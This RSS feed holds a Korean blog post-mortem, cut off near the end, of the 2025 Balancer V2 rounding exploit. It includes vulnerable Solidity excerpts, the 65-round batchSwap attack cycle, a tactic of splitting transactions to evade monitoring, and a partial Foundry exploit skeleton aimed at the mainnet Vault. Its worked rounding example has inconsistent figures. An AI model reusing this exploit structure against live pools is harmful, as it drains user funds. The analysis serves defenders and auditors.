<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>KWAKBUMJUN</title>
    <link>https://reversing-study.tistory.com/</link>
    <description>bumjum713@gmail.com</description>
    <language>ko</language>
    <pubDate>Sun, 17 May 2026 02:10:53 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>KWAKBUMJUN</managingEditor>
    <item>
      <title>M</title>
      <link>https://reversing-study.tistory.com/104</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;moved &lt;a href=&quot;https://bumjunrh.kr/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bumjunrh.kr/&lt;/a&gt;&lt;/p&gt;</description>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/104</guid>
      <comments>https://reversing-study.tistory.com/104#entry104comment</comments>
      <pubDate>Wed, 22 Apr 2026 01:13:31 +0900</pubDate>
    </item>
    <item>
      <title>The Balancer V2 Exploit</title>
      <link>https://reversing-study.tistory.com/102</link>
      <description>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;날짜:&lt;/strong&gt; 2025년 11월 3일&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;피해액:&lt;/strong&gt; $128.64M (6개 체인)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;대상:&lt;/strong&gt; Balancer V2 Composable Stable Pools&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;근본 원인:&lt;/strong&gt; &lt;code&gt;_upscale()&lt;/code&gt; 함수가 항상 &lt;code&gt;mulDown&lt;/code&gt;(내림)만 사용하는 반면 &lt;code&gt;_downscale()&lt;/code&gt;은 &lt;code&gt;divUp&lt;/code&gt;/&lt;code&gt;divDown&lt;/code&gt;(올림/내림)을 상황에 따라 사용 → 라운딩 방향 비대칭으로 인해 불변량(Invariant) D가 과소 계산됨 → BPT 가격 왜곡 → 배치 스왑으로 차익 추출&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;공격 키워드:&lt;/strong&gt; 정밀도 손실(Precision Loss), 불변량 조작(Invariant Manipulation), 배치 스왑(Batch Swap)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. 배경: Balancer V2와 Composable Stable Pool&lt;/h2&gt;
&lt;h3&gt;1.1 Balancer란&lt;/h3&gt;
&lt;p&gt;Balancer는 Ethereum 기반 AMM(Automated Market Maker) DEX로, 사용자가 다양한 가중치의 토큰 풀을 생성하고 거래할 수 있게 한다. V2 아키텍처에서는 모든 자산이 하나의 &lt;strong&gt;Vault&lt;/strong&gt; 컨트랙트에 보관되고, 각 &lt;strong&gt;Pool&lt;/strong&gt; 컨트랙트가 가격 결정 로직만 담당한다.&lt;/p&gt;
&lt;h3&gt;1.2 Composable Stable Pool&lt;/h3&gt;
&lt;p&gt;Curve의 StableSwap 알고리즘을 기반으로, 비슷한 가치를 가진 자산(예: wstETH/rETH/cbETH)의 효율적 스왑을 지원한다. 핵심 특징:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BPT(Balancer Pool Token):&lt;/strong&gt; 유동성 공급 시 발행되는 LP 토큰. 풀 자체 내에서 스왑 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;불변량 D:&lt;/strong&gt; 풀의 &amp;quot;가상 총 가치&amp;quot;를 나타내는 수학적 상수. StableSwap 공식으로 계산&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BPT 가격 ≈ D / totalSupply:&lt;/strong&gt; D가 작아지면 BPT 가격이 하락&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 Scaling Factor&lt;/h3&gt;
&lt;p&gt;토큰마다 소수점 자릿수가 다르다 (예: USDC는 6, WETH는 18). Balancer는 모든 계산을 &lt;strong&gt;18자리 정밀도&lt;/strong&gt;로 통일하기 위해 scaling factor를 사용한다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;내부 계산 시: amount × scalingFactor (upscale — 정밀도 확대)
결과 반환 시: amount ÷ scalingFactor (downscale — 정밀도 축소)&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;2. 근본 원인 (Root Cause): 라운딩 방향 비대칭&lt;/h2&gt;
&lt;h3&gt;2.1 핵심 원칙: &amp;quot;라운딩은 항상 프로토콜에 유리하게&amp;quot;&lt;/h3&gt;
&lt;p&gt;DeFi 프로토콜에서 정수 연산의 라운딩(반올림/내림) 방향은 &lt;strong&gt;항상 프로토콜(풀)에 유리하게&lt;/strong&gt; 설정되어야 한다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;사용자가 토큰을 받을 때 (amountOut): 내림(roundDown) → 사용자가 조금 덜 받음
사용자가 토큰을 낼 때 (amountIn):   올림(roundUp)   → 사용자가 조금 더 냄&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;이 원칙이 지켜지면, 아무리 많은 스왑을 반복해도 풀의 자산이 유출되지 않는다.&lt;/p&gt;
&lt;h3&gt;2.2 취약 코드: &lt;code&gt;_upscale()&lt;/code&gt;의 단방향 라운딩&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// FixedPoint 라이브러리
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 product = a * b;
    return product / ONE;  // 항상 내림
}

function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) return 0;
    return (a * ONE - 1) / b + 1;  // 항상 올림
}

function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
    return (a * ONE) / b;  // 항상 내림
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// BaseGeneralPool.sol — 취약한 함수
function _swapGivenOut(
    SwapRequest memory swapRequest,
    uint256[] memory balances,
    uint256 indexIn,
    uint256 indexOut,
    uint256[] memory scalingFactors
) internal returns (uint256) {
    // Step 1: 잔액을 18자리로 upscale
    _upscaleArray(balances, scalingFactors);

    // Step 2:  swapRequest.amount도 upscale — 여기서 mulDown(내림)만 사용
    swapRequest.amount = _upscale(swapRequest.amount, scalingFactors[indexOut]);

    // Step 3: 불변량 기반으로 amountIn 계산
    uint256 amountIn = _onSwapGivenOut(swapRequest, balances, indexIn, indexOut);

    // Step 4: amountIn을 downscale — 여기서는 divUp(올림) 사용
    amountIn = _downscaleUp(amountIn, scalingFactors[indexIn]);

    return _addSwapFeeAmount(amountIn);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// _upscale: 항상 mulDown (내림) —  문제의 핵심
function _upscale(uint256 amount, uint256 scalingFactor)
    internal pure returns (uint256)
{
    return FixedPoint.mulDown(amount, scalingFactor);
}

// _downscaleUp: divUp (올림) ← 이건 올바름
// _downscaleDown: divDown (내림)  ← 이것도 올바름&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 문제의 본질&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;연산&lt;/th&gt;
&lt;th&gt;함수&lt;/th&gt;
&lt;th&gt;라운딩 방향&lt;/th&gt;
&lt;th&gt;정상 동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;upscale&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_upscale()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;항상 내림 (mulDown)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;상황에 따라 올림/내림이 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;downscale&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_downscaleUp()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;올림 (divUp)&lt;/td&gt;
&lt;td&gt;정상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;downscale&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_downscaleDown()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;내림 (divDown)&lt;/td&gt;
&lt;td&gt;정상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;downscale은 올림/내림 두 가지 변형이 있는데, upscale은 내림 하나만 존재한다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;swapGivenOut&lt;/code&gt;에서 &lt;code&gt;swapRequest.amount&lt;/code&gt;(사용자가 받을 양)을 upscale할 때 &lt;strong&gt;내림&lt;/strong&gt;이 적용되므로:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;실제 사용자가 가져가는 양: 8.918 wei (원본)
upscale 후 불변량 계산에 사용되는 양: 8 wei (내림)

→ 풀은 사용자가 8만 가져간다고 &amp;quot;착각&amp;quot;
→ amountIn(사용자가 내야 할 양)을 과소 계산
→ 프로토콜이 손해, 사용자가 이득&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;정상이라면 &lt;code&gt;swapGivenOut&lt;/code&gt;의 &lt;code&gt;amount&lt;/code&gt;(사용자에게 나가는 양)은 &lt;strong&gt;올림&lt;/strong&gt;되어야 한다. 사용자가 받는 양을 올림하면, 풀이 계산하는 &lt;code&gt;amountIn&lt;/code&gt;도 더 커져서 프로토콜이 보호된다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. 공격 메커니즘&lt;/h2&gt;
&lt;h3&gt;3.1 왜 평소에는 문제가 안 되는가&lt;/h3&gt;
&lt;p&gt;일반적인 스왑에서 이 라운딩 오차는 &lt;strong&gt;1 wei 미만&lt;/strong&gt;이다. $0.000000000000000001 수준의 차이는 무시할 수 있다.&lt;/p&gt;
&lt;p&gt;하지만 공격자가 &lt;strong&gt;의도적으로 잔액을 극소량(8~9 wei)까지 낮추면&lt;/strong&gt;, 상대적 오차가 극대화된다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;잔액이 1,000,000 wei일 때: 1 wei 오차 = 0.0001% (무시 가능)
잔액이 9 wei일 때:          1 wei 오차 = 11.1%  (치명적)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;3.2 공격 3단계 사이클 (65회 반복)&lt;/h3&gt;
&lt;p&gt;공격자는 하나의 &lt;code&gt;batchSwap&lt;/code&gt; 트랜잭션 내에서 다음 3단계를 &lt;strong&gt;65회 연속&lt;/strong&gt; 반복했다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[1단계: 조정 (Adjustment)]
대량의 BPT → 토큰 스왑으로 특정 토큰의 잔액을 극소량(~9 wei)으로 감소
├── Composable Pool의 특성: BPT 자체가 풀 내에서 스왑 가능
└── 사전 보유 불필요: Vault가 임시 적자(deficit) 상태 허용

[2단계: 트리거 (Trigger)]
극소 잔액 상태에서 소량 스왑(amount = 8) 실행
├── _upscale(8) → mulDown → 내림으로 8.918이 8로 절삭
├── 불변량 D 계산에서 Δy가 과소 평가
├── D 값이 실제보다 작아짐
└── BPT 가격(= D/totalSupply)이 인위적으로 하락

[3단계: 추출 (Extraction)]
하락한 BPT 가격으로 BPT를 저렴하게 매입(민팅)
└── 이후 정상 가격으로 환매 → 차익 실현&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;[정밀도 손실 누적 과정]

반복 1:  BPT 가격 ≈ 정상
반복 10: BPT 가격 약간 하락 (누적 오차 증가)
반복 30: BPT 가격 유의미하게 왜곡
반복 65: BPT 가격 대폭 왜곡 → 대량 차익 추출 가능

증거: InternalBalanceChanged 이벤트에서 수수료가
      0.414 osETH → 0.000000000000000003 osETH로 급감
      (65회에 걸쳐 잔액이 고갈되는 과정)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;3.3 2단계 실행 전략 (탐지 우회)&lt;/h3&gt;
&lt;p&gt;공격자는 익스플로잇과 수익 실현을 &lt;strong&gt;별도 트랜잭션&lt;/strong&gt;으로 분리했다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[트랜잭션 1: 익스플로잇] — 표면상 수익 없음
└── batchSwap으로 65회 사이클 실행
└── BPT 가격 왜곡 + BPT 축적
└── 단독으로 보면 &amp;quot;손해 보는 거래&amp;quot;처럼 보임

[트랜잭션 2: 수익 실현] — 별도 시점에 실행
└── 축적된 BPT를 정상 가격으로 환매
└── 순이익 실현

이유: 실시간 탐지 시스템이 &amp;quot;단일 트랜잭션 내 비정상 수익&amp;quot;을 감시하므로,
     수익을 분리하면 탐지 확률이 크게 감소&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;3.4 공격자 인프라&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Deployer:         0x506D1f9EFe24f0d47853aDca907EB8d89AE03207
Exploit Contract: 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d
Recipient:        0xAa760D53541d8390074c61DEFeaba314675b8e3f&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;공격은 &lt;strong&gt;컨트랙트 배포(constructor)&lt;/strong&gt; 내에서 자동 실행되어, 단일 트랜잭션으로 전체 사이클이 완료되었다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. 피해 규모 및 영향&lt;/h2&gt;
&lt;h3&gt;4.1 체인별 피해&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;체인&lt;/th&gt;
&lt;th&gt;피해액&lt;/th&gt;
&lt;th&gt;주요 탈취 자산&lt;/th&gt;
&lt;th&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ethereum&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~$99M&lt;/td&gt;
&lt;td&gt;6,587 WETH + 6,851 osETH + 4,260 wstETH&lt;/td&gt;
&lt;td&gt;최대 피해&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Arbitrum&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~$12M&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Base&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~$5M&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Polygon&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~$0.1M&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;검증자 트랜잭션 검열로 동결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sonic (Beets 포크)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~$3.4M&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Balancer 포크 프로젝트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Optimism (Beethoven 포크)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~$0.28M&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Balancer 포크 프로젝트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;합계&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~$128.64M&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;6개 체인, 30분 내&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;4.2 주요 Ethereum 트랜잭션&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Exploit TX:    0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742
Withdrawal TX: 0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569
Arbitrum TX:   0x7da32ebc615d0f29a24cacf9d18254bea3a2c730084c690ee40238b1d8b55773&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;4.3 회수 현황&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;출처&lt;/th&gt;
&lt;th&gt;회수액&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;화이트햇 (Polygon)&lt;/td&gt;
&lt;td&gt;$2.68M&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;화이트햇 (Ethereum)&lt;/td&gt;
&lt;td&gt;$0.96M&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;화이트햇 (Base)&lt;/td&gt;
&lt;td&gt;$0.16M&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;화이트햇 (Arbitrum)&lt;/td&gt;
&lt;td&gt;$0.05M&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StakeWise (osETH/osGNO)&lt;/td&gt;
&lt;td&gt;$19.7M&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;총 회수&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~$23.5M&lt;/strong&gt; (피해액의 ~18%)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. 포크 프로젝트 연쇄 피해&lt;/h2&gt;
&lt;p&gt;Balancer V2는 오픈소스이므로 다수의 포크 프로젝트가 동일한 코드를 사용하고 있었다. 취약점이 공개되자 &lt;strong&gt;카피캣 공격자&lt;/strong&gt;들이 포크 프로젝트를 연쇄적으로 공격했다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[연쇄 피해 타임라인]

09:45 UTC — Ethereum Balancer V2 최초 공격
     ↓ (수분 내)
Arbitrum, Base, Optimism 동시 공격
     ↓
Sonic의 Beets (Balancer 포크) 공격 — $3.4M
Optimism의 Beethoven X (포크) 공격 — $0.28M
     ↓
Polygon 검증자, 공격 트랜잭션 검열 → $0.1M 동결

총 소요 시간: ~30분&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;프로토콜을 일시 정지할 수 없었던 것&lt;/strong&gt;이 피해를 확대시킨 핵심 요인이다. Balancer V2에는 풀 운영을 즉시 중단하는 비상 정지(emergency pause) 메커니즘이 부재했거나, 실행이 지연되었다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. 왜 감사에서 발견되지 않았는가&lt;/h2&gt;
&lt;p&gt;Balancer V2는 &lt;strong&gt;다수의 유명 감사 기관&lt;/strong&gt;으로부터 감사를 받았음에도 이 취약점이 발견되지 않았다. Certora의 사후 분석에 따르면:&lt;/p&gt;
&lt;h3&gt;6.1 누락된 검증 속성&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;속성&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;검증 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Roundtrip Swap Invariance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A→B→A 왕복 스왑 시 사용자가 이득을 볼 수 없어야 함&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;미검증&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BPT Share Value Invariant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;어떤 연산 후에도 BPT 1개당 가치가 감소하지 않아야 함&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;미검증&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Certora는 V3 검증 시 &lt;code&gt;swappingBackAndForth&lt;/code&gt;라는 규칙을 명시적으로 추가하여 &amp;quot;왕복 스왑으로 이득을 볼 수 없음&amp;quot;을 증명했다. 이 속성이 V2 감사 시에 포함되었다면 발견되었을 것이다.&lt;/p&gt;
&lt;h3&gt;6.2 근본적 어려움&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;수학적 정밀도 오차&lt;/strong&gt;는 기능 테스트(unit test)로는 잡히지 않음 — 정상 범위에서는 오차가 무시할 수 있는 수준&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;극단값(8~9 wei 잔액)&lt;/strong&gt;에서만 문제가 드러남 — 퍼징(fuzzing)의 입력 공간이 좁음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;여러 연산의 복합 효과&lt;/strong&gt; — 단일 함수는 정상이지만 65회 반복 시 오차가 누적&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Balancer V3의 수정 사항&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;V2 문제점&lt;/th&gt;
&lt;th&gt;V3 수정&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;_upscale&lt;/code&gt;이 &lt;code&gt;mulDown&lt;/code&gt;만 사용&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;모든 연산에 명시적 라운딩 방향 강제&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pool이 직접 scaling 수행&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Vault가 scaling 전담&lt;/strong&gt; — 일관성 보장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Composable Pool에서 BPT 스왑 가능&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ERC4626 Buffer로 대체&lt;/strong&gt; — 공격 표면 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;토큰별 다른 소수점&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;모든 풀 연산을 18자리 정밀도로 통일&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비상 정지 부재/지연&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;개선된 거버넌스 비상 정지 메커니즘&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. PoC 개념 (Proof of Concept)&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;주의:&lt;/strong&gt; 실제 메인넷에서의 실행은 불법입니다. 교육 목적의 개념 설명입니다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;8.1 공격 재현 개념 (Foundry 테스트 기반)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

import &amp;quot;forge-std/Test.sol&amp;quot;;

interface IVault {
    enum SwapKind { GIVEN_IN, GIVEN_OUT }

    struct BatchSwapStep {
        bytes32 poolId;
        uint256 assetInIndex;
        uint256 assetOutIndex;
        uint256 amount;
        bytes userData;
    }

    struct FundManagement {
        address sender;
        bool fromInternalBalance;
        address payable recipient;
        bool toInternalBalance;
    }

    function batchSwap(
        SwapKind kind,
        BatchSwapStep[] memory swaps,
        address[] memory assets,
        FundManagement memory funds,
        int256[] memory limits,
        uint256 deadline
    ) external returns (int256[] memory assetDeltas);
}

contract BalancerExploitPoC is Test {
    // Ethereum mainnet addresses
    IVault constant vault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);

    // Pool: wstETH/rETH/cbETH Composable Stable Pool
    bytes32 constant poolId = /* target pool ID */;

    function testExploitConcept() public {
        // Fork Ethereum mainnet at block before exploit
        // vm.createSelectFork(&amp;quot;mainnet&amp;quot;, BLOCK_BEFORE_EXPLOIT);

        // Step 1: 풀의 BPT 잔액과 토큰 잔액 확인
        // Step 2: batchSwap 구성 — 65회 반복 사이클

        IVault.BatchSwapStep[] memory swaps = new IVault.BatchSwapStep[](65 * 3);

        for (uint i = 0; i &amp;lt; 65; i++) {
            uint base = i * 3;

            // Phase 1: BPT → Token (잔액을 극소량으로 감소)
            swaps[base] = IVault.BatchSwapStep({
                poolId: poolId,
                assetInIndex: 0,  // BPT
                assetOutIndex: 1, // target token
                amount: /* calculated amount to push balance to ~9 wei */,
                userData: &amp;quot;&amp;quot;
            });

            // Phase 2: Token A → Token B (라운딩 오차 트리거)
            swaps[base + 1] = IVault.BatchSwapStep({
                poolId: poolId,
                assetInIndex: 1,
                assetOutIndex: 2,
                amount: 8, // 핵심: 극소량으로 mulDown 라운딩 오차 최대화
                userData: &amp;quot;&amp;quot;
            });

            // Phase 3: Token → BPT (할인된 가격으로 BPT 매입)
            swaps[base + 2] = IVault.BatchSwapStep({
                poolId: poolId,
                assetInIndex: 2,
                assetOutIndex: 0, // BPT
                amount: /* calculated */,
                userData: &amp;quot;&amp;quot;
            });
        }

        // Execute batch swap
        // vault.batchSwap(...)

        // Step 3: 별도 트랜잭션에서 BPT → underlying 환매로 수익 실현
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8.2 핵심 수치 예시 (BlockSec 분석 기반)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[2단계 트리거의 구체적 수치]

사용자가 cbETH 8 wei를 받으려 함 (swapGivenOut)

scaling factor (cbETH, 18 decimals): 1e18

_upscale(8, 1e18):
  = mulDown(8, 1e18)
  = (8 * 1e18) / 1e18
  = 8                    ← 이 경우 오차 없음

하지만 scaling factor가 정확히 1e18이 아닌 토큰에서:

_upscale(8, 1.1e18):
  = mulDown(8, 1.1e18)
  = (8 * 1.1e18) / 1e18
  = 8.8 → 내림 → 8       ← 0.918 손실 (11% 오차)

이 8이 불변량 계산에 입력됨:
  실제 나간 양: 8.918
  풀이 인식한 양: 8
  → amountIn이 실제 필요한 것보다 작게 계산됨
  → 불변량 D가 과소 평가됨
  → BPT 가격 왜곡&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;9. 교훈 및 권고&lt;/h2&gt;
&lt;h3&gt;9.1 DeFi 개발자를 위한 교훈&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;교훈&lt;/th&gt;
&lt;th&gt;구체적 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;라운딩 방향은 항상 프로토콜 유리하게&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;upscale/downscale 모두 양방향(Up/Down) 변형을 제공하고, 컨텍스트에 따라 올바른 방향 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;모든 scaling 함수에 대칭성 검증&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;upscale에 mulDown만 있다면 mulUp도 구현하여 swapGivenOut에서 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;극단값 퍼징(Fuzzing)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;잔액 1~10 wei 범위에서의 동작을 자동 테스트. 반복 스왑 시나리오 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;왕복 불변성(Roundtrip Invariance) 검증&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A→B→A 스왑 시 사용자 이득 불가를 형식 검증(Formal Verification)으로 증명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;비상 정지 메커니즘 필수&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;익스플로잇 발생 시 즉시 풀 동결 가능한 메커니즘 사전 구현&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;9.2 감사자를 위한 교훈&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;교훈&lt;/th&gt;
&lt;th&gt;구체적 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;라운딩 방향 체계적 감사&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;모든 산술 연산에서 라운딩 방향이 &amp;quot;누구에게 유리한가&amp;quot;를 명시적으로 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Composable Pool 특수성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BPT가 풀 내에서 스왑 가능한 설계는 공격 표면을 극대화 — 추가 주의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;형식 검증 속성 확장&lt;/strong&gt;&lt;/td&gt;
